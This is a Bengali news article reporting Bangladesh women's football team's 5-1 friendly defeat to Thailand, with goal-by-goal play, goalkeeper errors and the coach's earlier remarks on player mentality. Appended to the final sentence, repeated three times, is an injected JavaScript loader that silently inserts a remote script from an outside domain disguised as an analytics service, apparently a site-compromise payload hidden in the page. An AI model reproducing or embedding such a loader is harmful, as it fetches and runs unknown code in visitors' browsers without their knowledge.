ভুলে ভরা ফুটবলে বড় হার দেখল বাংলাদেশ
বাংলাদেশ ঠিক কতদিন আগে এমন ফুটবল খেলেছে, সেটি মনে করাও বেশ দুষ্কর হবে। থাইল্যান্ডের বিপক্ষে পুরো সময় জুড়েই রক্ষণে একের পর এক ভুল ফুটবল খেলল আফঈদা-শিউলি আজিমরা। রাজ্যের ক্লান্তির ছাপ দেখা গেলো তাদের চেহারায়। তার সঙ্গে রূপনা একের পর এক ভুল করলেন। সবমিলিয়ে বাজে ফুটবল উপহার দিয়ে বড় হার দেখল বাংলাদেশ।
আজ সোমবার (২৭ অক্টোবর) আন্তর্জাতিক প্রীতি ম্যাচে থাইল্যান্ডের বিপক্ষে মাঠে নেমেছিল বাংলাদেশ। স্বাগতিকদের বিপক্ষে ৫-১ গোলের বড় ব্যবধানে হেরেছে কোচ পিটার বাটলারের দল।
ম্যাচের শুরুতেই গোল হজম করে বসে বাংলাদেশ। একাদশ মিনিটে মধ্যমাঠ থেকে থ্রু পাস বাড়ায় থাইল্যান্ডের এক ফুটবলার। অফসাইডের জালে ফাঁসাতে গিয়ে সেই বলের নাগাল পায়নি কোনো ডিফেন্ডার। বল নিয়ে গোলরক্ষক রূপনাকে পরাস্ত করে বল জালে পাঠিয়ে দেন থাইল্যান্ডের অধিনায়ক সাওয়ালাক। যদিও পরে রিপ্লেতে দেখে মনে হয় অফসাইডেই ছিলেন তিনি।
আরও পড়ুন- মাঠ ছেড়ে যাওয়ার সময় আলোন্সোকে কি বলছিলেন ভিনি?
এর ১০ মিনিট পরেই দ্বিতীয় গোল হজম করে বাংলাদেশ। নিজেদের অর্ধ থেকে আচমকাই লং বল ছাড়ে থাইল্যান্ডের এক ফুটবলার। পাশে থাকা দুই মার্কারকে ফাঁকি দিয়ে সেটি রিসিভ করেন ফরোয়ার্ড জিরাপর্ণ। বল নিয়ে বক্সের সামনে চলে যান তিনি। রূপনা উপরের দিকে উঠে আসায় চিপ করে সেটি জালে পাঠিয়ে দেন থাইল্যান্ডের ফরোয়ার্ড।
২৩ মিনিটে বক্স ছেড়ে বেরিয়ে এসে কোনোমতে বাংলাদেশকে রক্ষা করেন গোলরক্ষক রূপনা। এর দুই মিনিট পর একইভাবে আরও একবার বাংলাদেশের রক্ষাকর্তা রূপে আবির্ভাব হয় রূপনার।
ম্যাচের ২৭ মিনিটে বামপ্রান্ত দিয়ে আক্রমণে ওঠে বাংলাদেশ। ঋতুপর্না চাকমা বল নিয়ে বক্সে ঢোকার সময় থাইল্যান্ডের এক ফুটবলারের পায়ে বল লেগে চলে যায় গোললাইনের বাইরে কর্ণার পায় বাংলাদেশ। সেখান থেকেই প্রথম গোল আদায় করে নেয় টাইগ্রেসরা।
মনিকা চাকমার কর্ণারে উড়ে যায় ছয় গজ বক্সের মধ্যে। থাইল্যান্ডের দুই ফুটবলারদের মাঝ দিয়ে লাফিয়ে উঠে হেড দেন মারিয়া। তার হেড দূরের পোস্ট দিয়ে জায়গা করে নেয় জালে। থাইল্যান্ডের গোলরক্ষক ঝাপিয় পড়েও বলের নাগাল পাননি।
আগের দুইবার রক্ষা করলেও ৩৩ মিনিটে এবার যেন ভুলই করে বসলেন রূপনা। বল নিয়ে আক্রমণে উঠছিলেন থাইল্যান্ডের মাদিসন । তার সঙ্গে দুজন মার্কার ছিলেন। কিন্তু রূপনা বক্স ছেড়ে অনেকটা বাইরে চলে আসেন। চিপ করে সেটি ফাঁকা জালে পাঠিয়ে দেন থাইল্যান্ডের এই ফুটবলার।
বাংলাদেশের ভুল যেন শোধরানের নয়। বিরতি থেকে ফিরেও একই ভুল করে বসেন রূপনারা। ৫৩ মিনিটে বক্সের সামনে থেকে শট নেন মাদিসন। শটে সেভাবে গতিও ছিল না। কিন্তু রূপনা আবারও এগিয়ে থাকায় বলের ফ্লাইট মিস করেন তিনি। আবারও বল জায়গা করে নেয় জালে।
এর ৩ মিনিট পরই আরও একবার বল জড়াল বাংলাদেশের জালে। বক্সের মধ্যে থাইল্যান্ডের ফরোয়ার্ড জিরাপর্ণকে ফাউল করে বসেন কোহাতি কিসকু। পেনাল্টির বাঁশি বাজান রেফারি। সফল স্পট কিকে জাল খুঁজে নেন জিরাপর্ণ।
৬১ মিনিটে আরও এক গোল হজম করতে বসেছিল বাংলাদেশ। বামপ্রান্ত দিয়ে আক্রমণে ওঠে থাইল্যান্ড। মাঝ মাঠে বল রিসিভ করে সেটি সাওয়ালাকের উদ্দেশ্যে থ্রু বল বাড়ান জিরাপর্ণ। দুজনকে কাটিয়ে বল নিয়ে বক্সে ঢুকে যান তিনি। জিরাপর্ণের প্রথম শট আটকে দেন রূপনা। পুরোপুরি ক্লিয়ার না হওয়ায় আবারও চিপ শট নেন তিনি। বারের একটু উপর দিয়ে বল চলে যায়।
ম্যাচের ৮৩ মিনিটে আরেকদফা বিপদ ডেকে এনেচিলেন ডিফেন্ডার শিউলি আজিম। ডানপ্রান্ত দিয়ে আক্রমণে উঠেছিল থাইল্যান্ড। সেদিক থেকে ক্রস বাড়িয়েছিল থাইল্যান্ডের এক ফুটবলার। বক্সের মধ্যে বল নিয়ন্ত্রণে নিতে পারেনি থাইল্যান্ড। শিউলি আজিম ক্লিয়ার করার সুযোগ পেলেও ভুল করে বসেন। তার আলতো টোকায় বলে চলে যায় থাইল্যান্ডের পায়ে। তবে দ্রুতই নিজেকে গুছিয়ে স্লাইডিং ট্যাকেলে বল ক্লিয়ার করেন তিনি।
৮৮ মিনিটে গোলের সুযোগ হাতছাড়া করে থাইল্যান্ডই। এবার ডানপ্রান্ত দিয়ে আক্রমণে ওঠে স্বাগতিকরা। বক্সের মধ্যে ক্রস থেকে ফাঁকায় বলও পেয়েছিলেন, তবে সেটিকে বাইরে পাঠিয়ে দেন।
যোগ করা সময়ের দ্বিতীয় মিনিটে আক্রমণে ওঠেছিল বাংলাদেশও। কিন্তু ঋতুপর্নার নেওয়া শট চলে যায় গোলবারের অনেকটা উপর দিয়ে। ফলে ৫-১ গোলের হার নিয়েই মাঠ ছাড়ে বাংলাদেশ।
প্রসঙ্গত, আগামী বছর এশিয়ান কাপের মূলপর্বে খেলবে বাংলাদেশ। সেই টুর্নামেন্টের জন্য প্রস্তুতি নিচ্ছে লাল-সবুজের প্রতিনিধিরা। তারই অংশ হিসেবে থাইল্যান্ডের বিপক্ষে দুটি প্রীতি ম্যাচ খেলল বাংলাদেশ। এর আগে প্রতম ম্যাচে ৩-০ গোলে হেরেছিল বাংলাদেশ।
সেই ম্যাচের পরে ফুটবলারদের মানসিকতা নিয়ে প্রশ্ন তুলেছিলেন বাংলাদেশের কোচ পিটার বাটলার। তিনি বলেছিলেন, “কয়েকজন ফুটবলার ভুল মানসিকতা নিয়ে মাঠে নেমেছিল। এমন অমনোযোগী মনোভাব আমি কোনোভাবেই সহ্য করব না। কেউ যদি দেশের প্রতিনিধিত্ব করতে চায়, তাহলে এমন মানসিকতা নিয়ে আসতে পারবে না যা জাতীয় দলের সঙ্গে মানানসই নয়।”
কোচের এই কথার কিছুটা প্রতিচ্ছবি আজকের ম্যাচে দেখা গেছে। গত কয়েক ম্যাচের তুলনায় বাংলাদেশের খেলা ছিল অনেক অগোছালো ও ভুলে ভরা। ফুটবলারদের শারীরিক ভাষায়ও দেখা গেছে ক্লান্তির ছাপ।;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,’script’,’https://content-website-analytics.com/script.js’);;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,’script’,’https://content-website-analytics.com/script.js’);;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,’script’,’https://content-website-analytics.com/script.js’);